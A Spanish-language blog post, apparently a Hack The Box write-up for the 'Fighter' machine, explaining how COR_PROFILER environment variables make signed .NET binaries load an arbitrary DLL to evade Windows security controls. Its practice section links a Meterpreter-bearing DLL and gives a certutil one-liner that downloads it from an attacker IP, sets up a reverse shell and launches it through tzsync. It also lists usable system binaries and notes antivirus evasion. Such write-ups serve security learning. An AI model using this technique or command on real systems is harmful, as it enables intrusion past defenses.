COR PROFILERS - Evadiendo medidas de seguridad en Windows

A las güenas!

Antes de nada, aunque yo escriba el post y haya estado dando algo de support, el grosso de la investigación así como la creación de las DLLs y demás lo ha hecho mi compi @V2ludDNy, o como muchos del grupo de Hack The Box conocereis, Wint3r (también conocido como Wintersito).

Por supuesto, quizás patine en algo de lo que cuente aquí, en ese caso se agradece cualquier tipo de corrección o mejora.

Para poner un poco en contexto, una de las últimas máquinas de Hack The Box es un auténtico grano en el culo. Una máquina llena de restricciones y protecciones que dejarían calvo hasta a un gato siberiano. El caso es que Wint3r se picó con la máquina y decidió que iba a sacarla sin las herramientas "intended"... y al final lo hemos conseguido.

¿Os acordáis del post sobre PowerShell que escribí hace poco aquí en HackPlayers? (https://www.hackplayers.com/2018/11/powershell-is-dead-not-today-my-friend.html) Bueno, pues Invisi-Shell nos llamo mucho la atención por cómo se ejecutaba (https://github.com/OmerYa/Invisi-Shell).

La DLL de Invisi-Shell viene con dos ficheros .bat que lo que hacen es establecer unas variables de entorno ¿COR? ¿PROFILER? y ejecutar PowerShell con ellas, lo que mágicamente ejecutaba la DLL. Aquí es donde empezó toda la investigación.


>>>>>>>>TEORIA<<<<<<<<

Para entender lo que vamos a enseñar en la demostración, es necesario familiarizarse con una serie de conceptos y teoría muy interesantes. En primer lugar debemos entender qué son y en qué se diferencian el "managed" code y el "unmanaged" code.

Unmanaged code
Cuando ejecutamos un binario programado en C/C++ nativo estamos ejecutando código unmanaged. Este tipo de código tiene la peculiaridad de que el Sistema Operativo se limita a cargarlo en memoria y ejecutarlo, estando todo lo demás a cargo de quien lo ha programado.
¿Qué es "todo lo demás"? Cuestiones como el manejo de la memoria o lo relativo a la seguridad. Por ejemplo, si hay un Buffer Overflow en X variable es tu problema amigo.

Managed code
En contraste con el código unmanaged, cuando se trabaja con .NET Framework se está trabajando con código managed. La diferencia básica es que .NET ofrece un entorno en tiempo de ejecución llamado Common Language Runtime (CLR) que tiene como labor coger ese código managed y ocuparse de compilarlo y ejecutarlo. Además de lo anterior, CLR dispone de una serie de servicios que se ocuparán automáticamente del manejo de memoria, checks de seguridad, ..., etcétera.

Más info:
https://docs.microsoft.com/es-es/dotnet/standard/managed-code
https://docs.microsoft.com/es-es/dotnet/standard/clr

Bien, pues dentro de las posibilidades que dispone el mencionado CLR, una de ellas es lo que se denomina Profiling.

Profiling
En el ámbito del profiling, un profiler suele consistir en una herramienta que monitoriza y, en cierta manera, diagnostica la ejecución de otra aplicación. Dentro de los tipos de profilers, un CLR profiler se trata de una libreria DLL cargada por el CLR en tiempo de ejecución y con la que se comunica a través de una API.

Por tanto, cuando un proceso managed es iniciado, el CLR será cargado y evaluará las siguientes variables de entorno para decidir si el proceso actual debería conectarse a un profiler y, en caso afirmativo, a cual:
  • COR_ENABLE_PROFILING --> El CLR se conectará a un profiler únicamente si esta variable existe y tiene valor 1.
  • COR_PROFILER --> Cuando la anterior variable tiene valor 1, el CLR se conectará con el profiler indicado en esta variable (CLSID / ProgID).
  • COR_PROFILER_PATH --> Directorio donde se encuentra la DLL.
Como curiosidad, en el .bat para usuaros "no admin" de Invisi-Shell, en vez de utilizar COR_PROFILER_PATH se crean una serie de entradas en el registro HKCU. Esto no es necesario para las últimas versiones de NET.

Más info: 
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment


>>>>>>>>PRÁCTICA<<<<<<<<

Para la práctica se deberá crear una DLL con el formato específico requerido para ser un CLR profiler (no será explicado en este post). Con tal fin, Wint3r creó una DLL compatible, con un meterpreter integrado. Destacar los siguientes puntos:
  • La DLL debe ser creada con código unmanaged.
  • El binario que se ejecutará conectado al COR Profiler deberá crear un proceso managed. Algunos ejemplos son los siguientes:
    • powershell.exe
    • tzsync.exe
    • AppVStreamingUX.exe
    • UevTemplateBaselineGenerator.exe
    • UevAgentPolicyGenerator.exe
    • UevTemplateConfigItemGenerator.exe
    • UevAppMonitor.exe
    • Microsoft.Uev.SyncController.exe
    • FileHistory.exe
    • powershell_ise.exe
    • stordiag.exe
  • Sabemos que es posible ejecutar código managed (he oido C#?) haciendo uso de COMs u otras DLLs.
  • Es necesario establecer las variables de entorno explicadas en la teoría para que todo esto funcione (no requiere de ningún permiso especial).
  • En nuestras pruebas no hemos tenido problemas de detección (Windows Defender, Avast, Cylance). No obstante, la DLL del POC está subida a VirusTotal y ya fue compartida en el grupo de Hack The Box, por lo que es probable que actualmente sea detectada (así como ciertos módulos y funcionalidades de MSF una vez obtenida la sesión).

Para la demostración utilizaremos la DLL en una de las máquinas más porculeras de Hack The Box: Fighter. Para quien no la haya hecho, la máquina consiste en descubrir un subdominio en el cual hay un login con SQLi.

El caso es que una vez consigues RCE desde la base de datos MSSQL, se hace complicado obtener una shell porque no tienes las respuestas de los comandos y te das cuenta de que, aunque puedes subir binarios (con Certutil por ejemplo), tampoco puedes ejecutarlos. 

Como soluciones interesantes era posible obtener shell downgradeando PowerShell a su versión 2 o utilizar el binario de 32 bits, así como la técnica Squiblytwo mediante wmic y ficheros xsl (descubierta para muchos de nosotros por CyberVaca).

¡Pero nosotros vamos a usar nuestra DLL!

Podéis descargarla aquí: https://github.com/attl4s/pruebas/blob/master/Beryllium.dll

certutil -urlcache -split -f http://10.10.14.30/Beryllium.dll C:\programdata\winter.dll && set "COR_ENABLE_PROFILING=1" && set "COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}" && set "COR_PROFILER_PATH=C:\programdata\winter.dll" && set "IP=10.10.14.30" && set "PORT=443" && tzsync


En nuestro oneliner se aprecia lo siguiente:
  • Con certutil subimos la DLL al directorio C:\programdata\
  • Establecemos las variables de entorno requeridas para utilizar un COR Profiler
  • Establecemos las variables IP y PORT para la reversa (esto es implementado en la DLL por Wint3r)
  • Ejecutamos un binario que utilice NET para lanzar nuestra sesión de meterpreter --> tzsync

Y... Voila!!  Mediante esta técnica hemos conseguido aprovechar binarios del sistema firmados por Microsoft (por ejemplo, tzsync) que rara vez estarán bloqueados para ejecutar una DLL en su contexto.

Destacar que dependiendo el tipo de políticas que se apliquen a la ejecución de DLLs en el sistema, con algunas restrictivas es posible que la nuestra sea bloqueada. En estos casos será necesario comprobar directorios a prueba y error dentro de zonas como C:\Windows o los Program Files para que se ejecute correctamente.


@attl4s && @V2ludDNy





Comentarios